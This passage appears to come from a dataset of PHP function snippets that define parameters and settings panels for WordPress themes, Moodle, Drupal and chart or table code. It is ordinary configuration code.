$this->weeklySleepChartStart->format(self::DATE_FORMAT),\r\n 'weeklySleepChartEnd' => $this->weeklySleepChartEnd->format(self::DATE_FORMAT),\r\n 'monthlySleepChartStart' => $this->monthlySleepChartStart->format(self::DATE_FORMAT),\r\n 'monthlySleepChartEnd' => $this->monthlySleepChartEnd->format(self::DATE_FORMAT),\r\n 'yearlySleepChartStart' => $this->yearlySleepChartStart->format(self::DATE_FORMAT),\r\n 'yearlySleepChartEnd' => $this->yearlySleepChartEnd->format(self::DATE_FORMAT),\r\n 'individualWeightChartStart' => $this->individualWeightChartStart->format(self::DATE_FORMAT),\r\n 'individualWeightChartEnd' => $this->individualWeightChartEnd->format(self::DATE_FORMAT),\r\n 'dailyWeightChartStart' => $this->dailyWeightChartStart->format(self::DATE_FORMAT),\r\n 'dailyWeightChartEnd' => $this->dailyWeightChartEnd->format(self::DATE_FORMAT),\r\n 'weeklyWeightChartStart' => $this->weeklyWeightChartStart->format(self::DATE_FORMAT),\r\n 'weeklyWeightChartEnd' => $this->weeklyWeightChartEnd->format(self::DATE_FORMAT),\r\n 'monthlyWeightChartStart' => $this->monthlyWeightChartStart->format(self::DATE_FORMAT),\r\n 'monthlyWeightChartEnd' => $this->monthlyWeightChartEnd->format(self::DATE_FORMAT),\r\n 'yearlyWeightChartStart' => $this->yearlyWeightChartStart->format(self::DATE_FORMAT),\r\n 'yearlyWeightChartEnd' => $this->yearlyWeightChartEnd->format(self::DATE_FORMAT)\r\n );\r\n \r\n return $paramArray;\r\n }", "protected function parameters()\n {\n $column = array('data' => 0, 'name' => '', 'searchable' => true);\n\n $column['orderable'] = true;\n\n $column['search'] = array('value' => '', 'regex' => false);\n\n $data = array('draw' => 1, 'columns' => array());\n\n $data['order'] = array('column' => 0, 'dir' => 'asc');\n\n $data['start'] = 0;\n\n $data['length'] = 10;\n\n $data['search'] = $column['search'];\n\n $first = $second = $third = $column;\n\n $first['data'] = 1;\n\n $second['data'] = 2;\n\n $third['data'] = 3;\n\n $data['columns'] = array($column, $first, $second, $third);\n\n return $data;\n }", "protected function defineParams() {\n return [\n 'state' => $this->state,\n 'rights' => $this->document->getRights(),\n 'config' => false,\n 'active' => false,\n ];\n }", "public static function render_student_settings_popup_parameters() {\n return new external_function_parameters(\n array(\n 'activityid' => new external_value(PARAM_INT, 'activity id int', VALUE_DEFAULT, null),\n 'moduletype' => new external_value(PARAM_RAW, 'moduletype text', VALUE_DEFAULT, null),\n )\n );\n }", "public static function get_params() {\n\t\t\t$params = array(\n\t\t\t\t// General\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'textfield',\n\t\t\t\t\t'heading' => esc_html__( 'Heading', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'heading',\n\t\t\t\t\t'value' => 'Sample Heading',\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'textarea_html',\n\t\t\t\t\t'holder' => 'div',\n\t\t\t\t\t'heading' => esc_html__( 'Content', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'content',\n\t\t\t\t\t'value' => 'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed faucibus feugiat convallis. Integer nec eros et risus condimentum tristique vel vitae arcu.',\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'textfield',\n\t\t\t\t\t'heading' => esc_html__( 'Element ID', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'unique_id',\n\t\t\t\t\t'admin_label' => true,\n\t\t\t\t\t'description' => vcex_shortcode_param_description( 'unique_id' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'textfield',\n\t\t\t\t\t'heading' => esc_html__( 'Extra class name', 'total-theme-core' ),\n\t\t\t\t\t'description' => esc_html__( 'Style particular content element differently - add a class name and refer to it in custom CSS.', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'classes',\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_visibility',\n\t\t\t\t\t'heading' => esc_html__( 'Visibility', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'visibility',\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_hover_animations',\n\t\t\t\t\t'heading' => esc_html__( 'Hover Animation', 'total-theme-core'),\n\t\t\t\t\t'param_name' => 'hover_animation',\n\t\t\t\t),\n\t\t\t\tvcex_vc_map_add_css_animation(),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'textfield',\n\t\t\t\t\t'heading' => esc_html__( 'Animation Duration', 'total'),\n\t\t\t\t\t'param_name' => 'animation_duration',\n\t\t\t\t\t'description' => esc_html__( 'Enter your custom time in seconds (decimals allowed).', 'total'),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'textfield',\n\t\t\t\t\t'heading' => esc_html__( 'Animation Delay', 'total'),\n\t\t\t\t\t'param_name' => 'animation_delay',\n\t\t\t\t\t'description' => esc_html__( 'Enter your custom time in seconds (decimals allowed).', 'total'),\n\t\t\t\t),\n\t\t\t\t// Style\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'dropdown',\n\t\t\t\t\t'heading' => esc_html__( 'Style', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'style',\n\t\t\t\t\t'value' => array(\n\t\t\t\t\t\tesc_html__( 'Default', 'total-theme-core' ) => '',\n\t\t\t\t\t\tesc_html__( 'Plain', 'total-theme-core' ) => 'one',\n\t\t\t\t\t\tesc_html__( 'Boxed Rounded', 'total-theme-core' ) => 'two',\n\t\t\t\t\t\tesc_html__( 'Boxed Square', 'total-theme-core' ) => 'three',\n\t\t\t\t\t\tesc_html__( 'Outline', 'total-theme-core' ) => 'four',\n\t\t\t\t\t),\n\t\t\t\t\t'group' => esc_html__( 'Style', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'dropdown',\n\t\t\t\t\t'heading' => esc_html__( 'Bottom Margin', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'bottom_margin',\n\t\t\t\t\t'value' => vcex_margin_choices(),\n\t\t\t\t\t'admin_label' => true,\n\t\t\t\t\t'group' => esc_html__( 'Style', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'dropdown',\n\t\t\t\t\t'heading' => esc_html__( 'Shadow', 'total' ),\n\t\t\t\t\t'param_name' => 'shadow',\n\t\t\t\t\t'value' => vcex_shadow_choices(),\n\t\t\t\t\t'group' => esc_html__( 'Style', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_text_alignments',\n\t\t\t\t\t'heading' => esc_html__( 'Text Align', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'text_align',\n\t\t\t\t\t'std' => '',\n\t\t\t\t\t'group' => esc_html__( 'Style', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_trbl',\n\t\t\t\t\t'heading' => esc_html__( 'Padding', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'padding',\n\t\t\t\t\t'dependency' => array( 'element' => 'style', 'value' => array( 'two', 'three' ) ),\n\t\t\t\t\t'group' => esc_html__( 'Style', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_colorpicker',\n\t\t\t\t\t'heading' => esc_html__( 'Background Color', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'background',\n\t\t\t\t\t'dependency' => array( 'element' => 'style', 'value' => array( 'two', 'three' ) ),\n\t\t\t\t\t'group' => esc_html__( 'Style', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_colorpicker',\n\t\t\t\t\t'heading' => esc_html__( 'Border Color', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'border_color',\n\t\t\t\t\t'dependency' => array( 'element' => 'style', 'value' => array( 'four' ) ),\n\t\t\t\t\t'group' => esc_html__( 'Style', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'textfield',\n\t\t\t\t\t'heading' => esc_html__( 'Border Radius', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'border_radius',\n\t\t\t\t\t'dependency' => array( 'element' => 'style', 'value' => array( 'two', 'three', 'four' ) ),\n\t\t\t\t\t'group' => esc_html__( 'Style', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\t// Heading\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_colorpicker',\n\t\t\t\t\t'heading' => esc_html__( 'Color', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'heading_color',\n\t\t\t\t\t'group' => esc_html__( 'Heading', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_select_buttons',\n\t\t\t\t\t'heading' => esc_html__( 'Tag', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'heading_type',\n\t\t\t\t\t'group' => esc_html__( 'Heading', 'total-theme-core' ),\n\t\t\t\t\t'std' => 'h2',\n\t\t\t\t\t'choices' => 'html_tag',\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_font_family_select',\n\t\t\t\t\t'heading' => esc_html__( 'Font Family', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'heading_font_family',\n\t\t\t\t\t'group' => esc_html__( 'Heading', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_font_weight',\n\t\t\t\t\t'heading' => esc_html__( 'Font Weight', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'heading_weight',\n\t\t\t\t\t'group' => esc_html__( 'Heading', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_text_transforms',\n\t\t\t\t\t'heading' => esc_html__( 'Text Transform', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'heading_transform',\n\t\t\t\t\t'group' => esc_html__( 'Heading', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_responsive_sizes',\n\t\t\t\t\t'target' => 'font-size',\n\t\t\t\t\t'heading' => esc_html__( 'Font Size', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'heading_size',\n\t\t\t\t\t'description' => vcex_shortcode_param_description( 'font_size' ),\n\t\t\t\t\t'group' => esc_html__( 'Heading', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_trbl',\n\t\t\t\t\t'heading' => esc_html__( 'Margin', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'heading_margin',\n\t\t\t\t\t'description' => vcex_shortcode_param_description( 'margin' ),\n\t\t\t\t\t'group' => esc_html__( 'Heading', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'textfield',\n\t\t\t\t\t'heading' => esc_html__( 'Letter Spacing', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'heading_letter_spacing',\n\t\t\t\t\t'description' => vcex_shortcode_param_description( 'letter_spacing' ),\n\t\t\t\t\t'group' => esc_html__( 'Heading', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\t// Content\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'dropdown',\n\t\t\t\t\t'heading' => esc_html__( 'Top Spacing', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'content_top_margin',\n\t\t\t\t\t'value' => vcex_margin_choices(),\n\t\t\t\t\t'group' => esc_html__( 'Content', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_colorpicker',\n\t\t\t\t\t'heading' => esc_html__( 'Background', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'content_background',\n\t\t\t\t\t'group' => esc_html__( 'Content', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_colorpicker',\n\t\t\t\t\t'heading' => esc_html__( 'Color', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'content_color',\n\t\t\t\t\t'group' => esc_html__( 'Content', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_trbl',\n\t\t\t\t\t'heading' => esc_html__( 'Margin', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'content_margin',\n\t\t\t\t\t'description' => vcex_shortcode_param_description( 'margin' ),\n\t\t\t\t\t'group' => esc_html__( 'Content', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_trbl',\n\t\t\t\t\t'heading' => esc_html__( 'Padding', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'content_padding',\n\t\t\t\t\t'description' => vcex_shortcode_param_description( 'padding' ),\n\t\t\t\t\t'group' => esc_html__( 'Content', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_responsive_sizes',\n\t\t\t\t\t'target' => 'font-size',\n\t\t\t\t\t'heading' => esc_html__( 'Font Size', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'content_font_size',\n\t\t\t\t\t'description' => vcex_shortcode_param_description( 'font_size' ),\n\t\t\t\t\t'group' => esc_html__( 'Content', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_font_weight',\n\t\t\t\t\t'heading' => esc_html__( 'Font Weight', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'content_font_weight',\n\t\t\t\t\t'group' => esc_html__( 'Content', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\t// Media\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'dropdown',\n\t\t\t\t\t'heading' => esc_html__( 'Source', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'image_source',\n\t\t\t\t\t'std' => 'media_library',\n\t\t\t\t\t'value' => array(\n\t\t\t\t\t\tesc_html__( 'Media Library', 'total-theme-core' ) => 'media_library',\n\t\t\t\t\t\tesc_html__( 'External', 'total-theme-core' ) => 'external',\n\t\t\t\t\t),\n\t\t\t\t\t'group' => esc_html__( 'Media', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'attach_image',\n\t\t\t\t\t'heading' => esc_html__( 'Image', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'image',\n\t\t\t\t\t'dependency' => array( 'element' => 'image_source', 'value' => 'media_library' ),\n\t\t\t\t\t'group' => esc_html__( 'Media', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'textfield',\n\t\t\t\t\t'heading' => esc_html__( 'External Image URL', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'external_image',\n\t\t\t\t\t'dependency' => array( 'element' => 'image_source', 'value' => 'external' ),\n\t\t\t\t\t'group' => esc_html__( 'Media', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'textfield',\n\t\t\t\t\t'heading' => esc_html__( 'Image Alt', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'image_alt',\n\t\t\t\t\t'group' => esc_html__( 'Media', 'total-theme-core' ),\n\t\t\t\t\t'dependency' => array( 'element' => 'image', 'not_empty' => true ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'textfield',\n\t\t\t\t\t'heading' => esc_html__( 'Video link', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'video',\n\t\t\t\t\t'description' => esc_html__( 'Enter in a video URL that is compatible with WordPress\\'s built-in oEmbed feature.', 'total-theme-core' ),\n\t\t\t\t\t'group' => esc_html__( 'Media', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_select_buttons',\n\t\t\t\t\t'heading' => esc_html__( 'Image Style', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'img_style',\n\t\t\t\t\t'std' => '',\n\t\t\t\t\t'choices' => array(\n\t\t\t\t\t\t'' => esc_html__( 'Auto', 'total-theme-core' ),\n\t\t\t\t\t\t'stretch' => esc_html__( 'Stretch', 'total-theme-core' ),\n\t\t\t\t\t),\n\t\t\t\t\t'group' => esc_html__( 'Media', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_text_alignments',\n\t\t\t\t\t'heading' => esc_html__( 'Align', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'img_align',\n\t\t\t\t\t'std' => '',\n\t\t\t\t\t'group' => esc_html__( 'Media', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'dropdown',\n\t\t\t\t\t'heading' => esc_html__( 'Border Radius', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'img_border_radius',\n\t\t\t\t\t'value' => vcex_border_radius_choices(),\n\t\t\t\t\t'group' => esc_html__( 'Media', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'dropdown',\n\t\t\t\t\t'heading' => esc_html__( 'Bottom Margin', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'img_bottom_margin',\n\t\t\t\t\t'value' => vcex_margin_choices(),\n\t\t\t\t\t'group' => esc_html__( 'Media', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_image_sizes',\n\t\t\t\t\t'heading' => esc_html__( 'Image Size', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'img_size',\n\t\t\t\t\t'std' => 'wpex_custom',\n\t\t\t\t\t'group' => esc_html__( 'Media', 'total-theme-core' ),\n\t\t\t\t\t'dependency' => array( 'element' => 'image_source', 'value' => 'media_library' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_image_crop_locations',\n\t\t\t\t\t'heading' => esc_html__( 'Image Crop Location', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'img_crop',\n\t\t\t\t\t'group' => esc_html__( 'Media', 'total-theme-core' ),\n\t\t\t\t\t'dependency' => array( 'element' => 'img_size', 'value' => 'wpex_custom' ),\n\t\t\t\t\t'dependency' => array( 'element' => 'image_source', 'value' => 'media_library' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'textfield',\n\t\t\t\t\t'heading' => esc_html__( 'Image Crop Width', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'img_width',\n\t\t\t\t\t'group' => esc_html__( 'Media', 'total-theme-core' ),\n\t\t\t\t\t'dependency' => array( 'element' => 'img_size', 'value' => 'wpex_custom' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'textfield',\n\t\t\t\t\t'heading' => esc_html__( 'Image Crop Height', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'img_height',\n\t\t\t\t\t'description' => esc_html__( 'Leave empty to disable vertical cropping and keep image proportions.', 'total-theme-core' ),\n\t\t\t\t\t'group' => esc_html__( 'Media', 'total-theme-core' ),\n\t\t\t\t\t'dependency' => array( 'element' => 'img_size', 'value' => 'wpex_custom' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_image_filters',\n\t\t\t\t\t'heading' => esc_html__( 'Image Filter', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'img_filter',\n\t\t\t\t\t'group' => esc_html__( 'Media', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_image_hovers',\n\t\t\t\t\t'heading' => esc_html__( 'CSS3 Image Hover', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'img_hover_style',\n\t\t\t\t\t'group' => esc_html__( 'Media', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\t// Link\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vc_link',\n\t\t\t\t\t'heading' => esc_html__( 'URL', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'url',\n\t\t\t\t\t'group' => esc_html__( 'Link', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_ofswitch',\n\t\t\t\t\t'heading' => esc_html__( 'Local Scroll', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'url_local_scroll',\n\t\t\t\t\t'group' => esc_html__( 'Link', 'total-theme-core' ),\n\t\t\t\t\t'std' => 'false',\n\t\t\t\t),\n\t\t\t\t// CSS\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'css_editor',\n\t\t\t\t\t'heading' => esc_html__( 'CSS box', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'css',\n\t\t\t\t\t'group' => esc_html__( 'CSS', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t);\n\n\t\t\treturn apply_filters( 'vcex_shortcode_params', $params, 'vcex_teaser' );\n\n\t\t}", "public function render_panel_templates()\n {\n }", "public function setArguments() {\n\n $theme = wp_get_theme(); // For use with some settings. Not necessary.\n\n $this->args = array(\n // TYPICAL -> Change these values as you need/desire\n 'opt_name' => 'neattheme', // This is where your data is stored in the database and also becomes your global variable name.\n 'display_name' => $theme->get('Name'), // Name that appears at the top of your panel\n 'display_version' => $theme->get('Version'), // Version that appears at the top of your panel\n 'menu_type' => 'submenu', //Specify if the admin menu should appear or not. Options: menu or submenu (Under appearance only)\n 'allow_sub_menu' => true, // Show the sections below the admin menu item or not\n 'menu_title' => __('Theme Options', 'neat'),\n 'page' => __('Theme Options', 'neat'),\n // You will need to generate a Google API key to use this feature.\n // Please visit: https://developers.google.com/fonts/docs/developer_api#Auth\n 'google_api_key' => '', // Must be defined to add google fonts to the typography module\n 'async_typography' => true,\n //'admin_bar' => false, // Show the panel pages on the admin bar\n 'global_variable' => '', // Set a different name for your global variable other than the opt_name\n 'dev_mode' => false, // Show the time the page took to load, etc\n 'customizer' => true, // Enable basic customizer support\n // OPTIONAL -> Give you extra features\n 'page_priority' => null, // Order where the menu appears in the admin area. If there is any conflict, something will not show. Warning.\n 'page_parent' => 'themes.php', // For a full list of options, visit: http://codex.wordpress.org/Function_Reference/add_submenu_page#Parameters\n 'page_permissions' => 'manage_options', // Permissions needed to access the options panel.\n 'menu_icon' => '', // Specify a custom URL to an icon\n 'last_tab' => '', // Force your panel to always open to a specific tab (by id)\n 'page_icon' => 'icon-themes', // Icon displayed in the admin panel next to your menu_title\n 'page_slug' => '_options', // Page slug used to denote the panel\n 'save_defaults' => true, // On load save the defaults to DB before user clicks save or not\n 'default_show' => false, // If true, shows the default value next to each field that is not the default value.\n 'default_mark' => '', // What to print by the field's title if the value shown is default. Suggested: *\n // CAREFUL -> These options are for advanced use only\n 'transient_time' => 60 * MINUTE_IN_SECONDS,\n 'output' => true, // Global shut-off for dynamic CSS output by the framework. Will also disable google fonts output\n 'output_tag' => true, // Allows dynamic CSS to be generated for customizer and google fonts, but stops the dynamic CSS from going to the head\n //'domain' \t=> 'redux-framework', // Translation domain key. Don't change this unless you want to retranslate all of Redux.\n //'footer_credit' \t=> '', // Disable the footer credit of Redux. Please leave if you can help it.\n // FUTURE -> Not in use yet, but reserved or partially implemented. Use at your own risk.\n 'database' => '', // possible: options, theme_mods, theme_mods_expanded, transient. Not fully functional, warning!\n 'show_import_export' => true, // REMOVE\n 'system_info' => false, // REMOVE\n 'help_tabs' => array(),\n 'help_sidebar' => '', // __( '', $this->args['domain'] ); \n );\n $this->args['share_icons'][] = array(\n 'url' => 'https://twitter.com/marstheme',\n 'title' => 'Follow us on Twitter',\n 'icon' => 'el-icon-twitter'\n );\n // Panel Intro text -> before the form\n if (!isset($this->args['global_variable']) || $this->args['global_variable'] !== false) {\n if (!empty($this->args['global_variable'])) {\n $v = $this->args['global_variable'];\n } else {\n $v = str_replace(\"-\", \"_\", $this->args['opt_name']);\n }\n $this->args['intro_text'] = sprintf(__('<p>Did you know that Redux sets a global variable for you? To access any of your saved options from within your code you can use your global variable: <strong>$%1$s</strong></p>', 'neat'), $v);\n } else {\n $this->args['intro_text'] = __('<p>This text is displayed above the options panel. It isn\\'t required, but more info is always better! The intro_text field accepts all HTML.</p>', 'neat');\n }\n\n // Add content after the form.\n //$this->args['footer_text'] = __('<p>This text is displayed below the options panel. It isn\\'t required, but more info is always better! The footer_text field accepts all HTML.</p>', 'neat');\n }", "public function panels()\n {\n }", "protected function generateParams()\n {\n $qty = Cart::count();\n\n $templatePart = $qty ? '_cart-content' : '_cart-empty';\n\n $html = view(\"website.cart.$templatePart\")->render();\n\n return compact('html', 'qty');\n }", "public static function get_params() {\n\n\t\t\t$params = array(\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'textfield',\n\t\t\t\t\t'admin_label' => true,\n\t\t\t\t\t'heading' => esc_html__( 'Height', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'size',\n\t\t\t\t\t'value' => '30px',\n\t\t\t\t\t'description' => vcex_shortcode_param_description( 'height' ),\n\t\t\t\t\t'dependency' => array( 'element' => 'responsive', 'value' => 'false' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_ofswitch',\n\t\t\t\t\t'heading' => esc_html__( 'Responsive?', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'responsive',\n\t\t\t\t\t'value' => 'false',\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_responsive_sizes',\n\t\t\t\t\t'heading' => esc_html__( 'Height', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'size_responsive',\n\t\t\t\t\t'value' => '30px',\n\t\t\t\t\t'description' => vcex_shortcode_param_description( 'height' ),\n\t\t\t\t\t'dependency' => array( 'element' => 'responsive', 'value' => 'true' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'textfield',\n\t\t\t\t\t'heading' => esc_html__( 'Custom Classes', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'class',\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_visibility',\n\t\t\t\t\t'heading' => esc_html__( 'Visibility', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'visibility',\n\t\t\t\t),\n\t\t\t);\n\n\t\t\treturn apply_filters( 'vcex_shortcode_params', $params, 'vcex_spacing' );\n\n\t\t}", "function _completeModuleParamsArray()\n {\n $params = array(\n 'show_numbers'=>false,\n 'fields'=>'',\n 'show_comments'=>false,\n 'comments_words'=>10,\n 'tn_mode'=>'crop',\n 'tn_size'=>'100x100',\n 'tn_show'=>true,\n 'tn_position'=>'left',\n 'columns'=>1,\n 'orientation'=>'horizontal',\n 'slideshow'=>false,\n 'slideshow_interval'=>6,\n 'nav_position'=>'bottom'\n );\n\n $this->params['module'] = array_merge($params, $this->params['module']);\n }", "static function plInfo()\n {\n return array(\n \"plShortName\" => _(\"Argonaut Mirror settings\"),\n \"plDescription\" => _(\"Argonaut Mirror settings\").\" (\"._(\"Services\").\")\",\n \"plIcon\" => \"plugins/argonaut/images/iconMiniMirrorConfig.png\",\n\n \"plProvidedAcls\" => parent::generatePlProvidedAcls(self::getAttributesInfo())\n );\n }", "public static function get_parameters() {\n return array(array(\n 'name' => 'groups_page_path',\n 'caption' => 'Path to main groups page',\n 'description' => 'Path to the Drupal page which my groups are listed on.',\n 'type' => 'text_input'\n ), array(\n 'name' => 'group_home_path',\n 'caption' => 'Path to the group home page',\n 'description' => 'Path to the Drupal page which hosts group home pages.',\n 'type' => 'text_input',\n 'required'=>false\n ));\n }", "public static function get_parameters() {\n return array(array(\n 'name' => 'groups_page_path',\n 'caption' => 'Path to main groups page',\n 'description' => 'Path to the Drupal page which my groups are listed on.',\n 'type' => 'text_input'\n ), array(\n 'name' => 'group_home_path',\n 'caption' => 'Path to the group home page',\n 'description' => 'Path to the Drupal page which hosts group home pages.',\n 'type' => 'text_input'\n ));\n }", "public static function get_dynamic_npms_plot_location_definition() {\r\n return array(\r\n 'title'=>'Enter an NPMS plot',\r\n 'category' => 'Miscellaneous',\r\n 'description'=>'A data entry form specifically designed for NPMS plots.',\r\n 'recommended'=>false\r\n );\r\n }", "public function buildPanels() {\n return array($this);\n }", "static function pagePanel (ViewRegistry $context) {\n $panel=\"\";\n $panel.=\"<span drawer=\\\"Page\\\">\";// marker for drawers.js\n $panel.=self::firstPageLink ($context).\"&nbsp;&nbsp;\";\n $panel.=self::genericRewind ($context,\"-3\",-3,true).\"&nbsp;&nbsp;\";\n $panel.=self::prevPageLink($context,\"-1\",true).\"&nbsp;&nbsp;\";\n $panel.=l(\"Page\").\":&nbsp;\".$context->g(\"pageCurrent\").\"&nbsp;&nbsp;\";\n $panel.=self::nextPageLink($context,$no,\"1+\",true).\"&nbsp;&nbsp;\";\n $panel.=self::genericRewind ($context,\"3+\",3,true).\"&nbsp;&nbsp;\";\n $panel.=self::lastPageLink ($context);\n $panel.=\"</span>\";\n return($panel);\n }", "public function setArguments() {\n\n $theme = wp_get_theme(); // For use with some settings. Not necessary.\n\n $this->args = array(\n // TYPICAL -> Change these values as you need/desire\n 'opt_name' => 'tb_options',\n // This is where your data is stored in the database and also becomes your global variable name.\n 'display_name' => $theme->get( 'Name' ),\n // Name that appears at the top of your panel\n 'display_version' => $theme->get( 'Version' ),\n // Version that appears at the top of your 